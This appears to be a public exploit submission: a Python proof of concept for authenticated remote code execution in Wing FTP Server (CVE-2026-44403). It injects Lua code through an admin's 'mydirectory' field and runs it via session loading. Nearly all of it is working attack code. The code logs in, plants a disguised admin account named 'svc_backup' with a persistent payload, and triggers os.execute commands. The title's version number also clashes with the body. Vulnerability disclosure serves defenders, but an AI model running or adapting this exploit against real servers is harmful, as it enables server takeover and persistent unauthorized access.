📄 Wing FTP Server 8.1.3 Remote Code Execution

# Exploit Title: Wing FTP Server 8.1.3 - Authenticated Remote Code Execution 
    # Date: 12.05.2026
    # Exploit Author: Ünsal Furkan Harani
    # Vendor Homepage:
    [https://www.wftpserver.com/](https://www.wftpserver.com/download.htm)
    # Software Link:
    https://www.wftpserver.com/download.htm
    # Version: v8.1.2
    # Tested on: Wing FTP Server <= 8.1.2, fixed in 8.1.3
    # CVE : CVE-2026-44403
    
    Wing FTP Server v8.1.2 contains a Remote Code Execution (RCE) vulnerability in the session serialization mechanism. An authenticated administrator can inject arbitrary Lua code through the domain admin `mydirectory` (basefolder) field, which gets executed server-side via `loadfile()`.
    
    #!/usr/bin/env python3
    """
    PREREQUISITES:
      - Valid full admin credentials (not readonly, not domain admin)
      - Target: Wing FTP Server web admin panel (default port 5466)
    
    IMPACT:
      Remote Code Execution as the Wing FTP Server service account.
      Persistence: payload re-executes every time the poisoned session is loaded.
    """
    
    import requests
    import hashlib
    import json
    import sys
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class WingFTPSessionPoisoning:
        def __init__(self, target, admin_user, admin_pass, use_ssl=False):
            proto = "https" if use_ssl else "http"
            self.base_url = f"{proto}://{target}"
            self.admin_user = admin_user
            self.admin_pass = admin_pass
            self.session = requests.Session()
            self.session.verify = False
    
        def login(self):
            """Authenticate to the admin panel and obtain UIDADMIN session cookie."""
            # service_login.html accepts credentials via POST
            url = f"{self.base_url}/service_login.html"
            data = {
                "username": self.admin_user,
                "password": self.admin_pass,
            }
            headers = {
                "Referer": f"{self.base_url}/admin_login.html",
            }
            resp = self.session.post(url, data=data, headers=headers)
            try:
                result = resp.json()
                if result.get("code") == 0:
                    print(f"[+] Login successful as '{self.admin_user}'")
                    return True
                elif result.get("code") in (1, 2):
                    print(f"[-] 2FA required — this PoC doesn't handle TOTP")
                    return False
                else:
                    print(f"[-] Login failed: {result}")
                    return False
            except Exception:
                # Legacy endpoint (admin_loginok.html) returns HTML
                if "logged in ok" in resp.text or "main.html" in resp.text:
                    print(f"[+] Login successful (legacy endpoint)")
                    return True
                print(f"[-] Login failed: {resp.text[:200]}")
                return False
    
        def create_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
            """
            Create a domain admin with a poisoned 'mydirectory' (basefolder) field.
    
            The mydirectory value will be serialized as:
                _SESSION['admin_basefolder']=[[<mydirectory_value>]]
    
            Our payload breaks out of the [[ ]] long string:
                _SESSION['admin_basefolder']=[[/tmp/x]]<LUA_PAYLOAD>--]]
    
            When this session file is loaded via loadfile() + f(), the payload executes.
            """
            # Construct the poisoned basefolder value
            # Format: <innocent_prefix>]]<lua_code>--
            # The ]] closes the long string, code executes, -- comments out the rest
            poisoned_basefolder = f"/tmp/x]]{lua_payload}--"
    
            admin_obj = {
                "username": poison_admin_user,
                "password": poison_admin_pass,
                "readonly": False,
                "domainadmin": 1,        # Make it a domain admin
                "domainlist": "",         # Will be set by server
                "mydirectory": poisoned_basefolder,  # THIS IS THE PAYLOAD
                "ipmasks": [],
                "enable_two_factor": False,
                "two_factor_code": "",
            }
    
            url = f"{self.base_url}/service_add_admin.html"
            headers = {
                "Referer": f"{self.base_url}/main.html",
            }
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
    
            print(f"[*] Creating poisoned domain admin '{poison_admin_user}'...")
            print(f"[*] Poisoned basefolder: {poisoned_basefolder}")
            # Use multipart/form-data — Wing FTP's Lua POST parser handles it more reliably
            resp = self.session.post(url, files={"admin": (None, admin_json)}, headers=headers)
    
            try:
                result = resp.json()
                if result.get("code") == 0:
                    print(f"[+] Poisoned admin created successfully!")
                    return True
                elif result.get("code") == -3:
                    print(f"[!] Admin '{poison_admin_user}' already exists. Trying modify...")
                    return self.modify_poisoned_admin(poison_admin_user, poison_admin_pass, lua_payload)
                else:
                    print(f"[-] Failed to create admin: {result}")
                    return False
            except Exception:
                print(f"[-] Unexpected response: {resp.text[:200]}")
                return False
    
        def modify_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
            """Modify existing admin to inject the poisoned basefolder."""
            poisoned_basefolder = f"/tmp/x]]{lua_payload}--"
    
            admin_obj = {
                "username": poison_admin_user,
                "password": poison_admin_pass,
                "readonly": False,
                "domainadmin": 1,
                "domainlist": "",
                "mydirectory": poisoned_basefolder,
                "ipmasks": [],
                "enable_two_factor": False,
                "two_factor_code": "",
            }
    
            # service_modify_admin.html has NO bracket stripping at all
            url = f"{self.base_url}/service_modify_admin.html"
            headers = {
                "Referer": f"{self.base_url}/main.html",
            }
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
    
            resp = self.session.post(url, files={"admin": (None, admin_json), "oldname": (None, poison_admin_user)}, headers=headers)
            try:
                result = resp.json()
                if result.get("code") == 0:
                    print(f"[+] Admin '{poison_admin_user}' modified with poisoned basefolder!")
                    return True
                else:
                    print(f"[-] Failed to modify admin: {result}")
                    return False
            except Exception:
                print(f"[-] Unexpected response: {resp.text[:200]}")
                return False
    
        def trigger_payload(self, poison_admin_user, poison_admin_pass):
            """
            Trigger the payload by logging in as the poisoned domain admin.
    
            On login, service_login.html:95-96 stores the basefolder in session:
                rawset(_SESSION,"admin_basefolder",basefolder)
                rawset(_SESSION,"admin_nowpath",basefolder)
    
            SessionModule.save() serializes it as:
                _SESSION['admin_basefolder']=[[/tmp/x]]<PAYLOAD>--]]
    
            The payload executes on the NEXT session load (any subsequent request).
            """
            print(f"\n[*] Triggering payload by logging in as '{poison_admin_user}'...")
    
            trigger_session = requests.Session()
            trigger_session.verify = False
    
            url = f"{self.base_url}/service_login.html"
            data = {
                "username": poison_admin_user,
                "password": poison_admin_pass,
            }
            headers = {
                "Referer": f"{self.base_url}/admin_login.html",
            }
    
            # Step 1: Login — stores poisoned basefolder in session
            resp = trigger_session.post(url, data=data, headers=headers)
            print(f"[*] Login response: {resp.text[:200]}")
    
            # Step 2: Any subsequent request triggers loadfile() on the session file
            # The session file now contains the Lua payload
            trigger_url = f"{self.base_url}/service_get_dir_list.html"
            headers["Referer"] = f"{self.base_url}/main.html"
            resp2 = trigger_session.post(trigger_url, data={"dir": ""}, headers=headers)
            print(f"[*] Trigger response: {resp2.status_code}")
            print(f"[+] Payload should have executed on the server!")
    
            return True
    
    def demo_session_file():
        """
        Demonstrate what the poisoned session file looks like.
        Shows the exact Lua code that gets written and executed.
        """
        print("=" * 70)
        print("DEMONSTRATION: Poisoned Session File Content")
        print("=" * 70)
    
        payload = 'os.execute("id > /tmp/wingftp_pwned.txt")'
        basefolder = f'/tmp/x]]{payload}--'
    
        print(f"\n[1] Admin sets mydirectory to:")
        print(f"    {basefolder}")
    
        print(f"\n[2] On login, session is saved. serialize() outputs:")
        session_content = f"""_SESSION['admin']=[[poisoned_admin]]
    _SESSION['admin_basefolder']=[[{basefolder}]]
    _SESSION['admin_domainadmin']=1
    _SESSION['admin_domainlist']=[[]]
    _SESSION['admin_nowpath']=[[{basefolder}]]
    _SESSION['admin_readonly']=0
    _SESSION['ipaddress']=[[127.0.0.1]]
    _SESSION['logined']=[[true]]"""
    
        print(f"    --- session file content ---")
        for line in session_content.split('\n'):
            print(f"    {line}")
        print(f"    --- end ---")
    
        print(f"\n[3] Lua parser sees the basefolder line as:")
        print(f"    _SESSION['admin_basefolder']=[[/tmp/x]]  --> string '/tmp/x'")
        print(f"    {payload}                                 --> EXECUTED AS CODE!")
        print(f"    --]]                                      --> comment (ignored)")
    
        print(f"\n[4] Same for admin_nowpath line — payload executes TWICE.")
    
        print(f"\n[5] Result: '{payload}' runs as server process.")
        print("=" * 70)
    
    def main():
        if len(sys.argv) < 2:
            print(f"Usage: {sys.argv[0]} <mode> [args...]")
            print(f"")
            print(f"Modes:")
            print(f"  demo                              — Show how the vulnerability works")
            print(f"  exploit <host:port> <user> <pass>  — Create poisoned admin and trigger RCE")
            print(f"")
            print(f"Examples:")
            print(f"  {sys.argv[0]} demo")
            print(f"  {sys.argv[0]} exploit 192.168.1.10:5466 admin password123")
            sys.exit(1)
    
        mode = sys.argv[1]
    
        if mode == "demo":
            demo_session_file()
    
        elif mode == "exploit":
            if len(sys.argv) < 5:
                print("Usage: exploit <host:port> <admin_user> <admin_pass>")
                sys.exit(1)
    
            target = sys.argv[2]
            admin_user = sys.argv[3]
            admin_pass = sys.argv[4]
    
            # Default payload — write proof file (Windows-compatible)
            lua_payload = 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'
    
            poison_admin = "svc_backup"
            poison_pass = "P@ssw0rd123!"
    
            print(f"[*] Wing FTP Server Session Poisoning RCE — Chain 2")
            print(f"[*] Target: {target}")
            print(f"[*] Payload: {lua_payload}")
            print(f"[*] Poisoned admin account: {poison_admin}")
            print()
    
            exploit = WingFTPSessionPoisoning(target, admin_user, admin_pass)
    
            if not exploit.login():
                sys.exit(1)
    
            if not exploit.create_poisoned_admin(poison_admin, poison_pass, lua_payload):
                sys.exit(1)
    
            exploit.trigger_payload(poison_admin, poison_pass)
    
            print(f"\n[*] Check /tmp/wingftp_pwned.txt on target for proof of execution")
        else:
            print(f"Unknown mode: {mode}")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()
    
    Sent with [Proton Mail](https://proton.me/mail/home) secure email.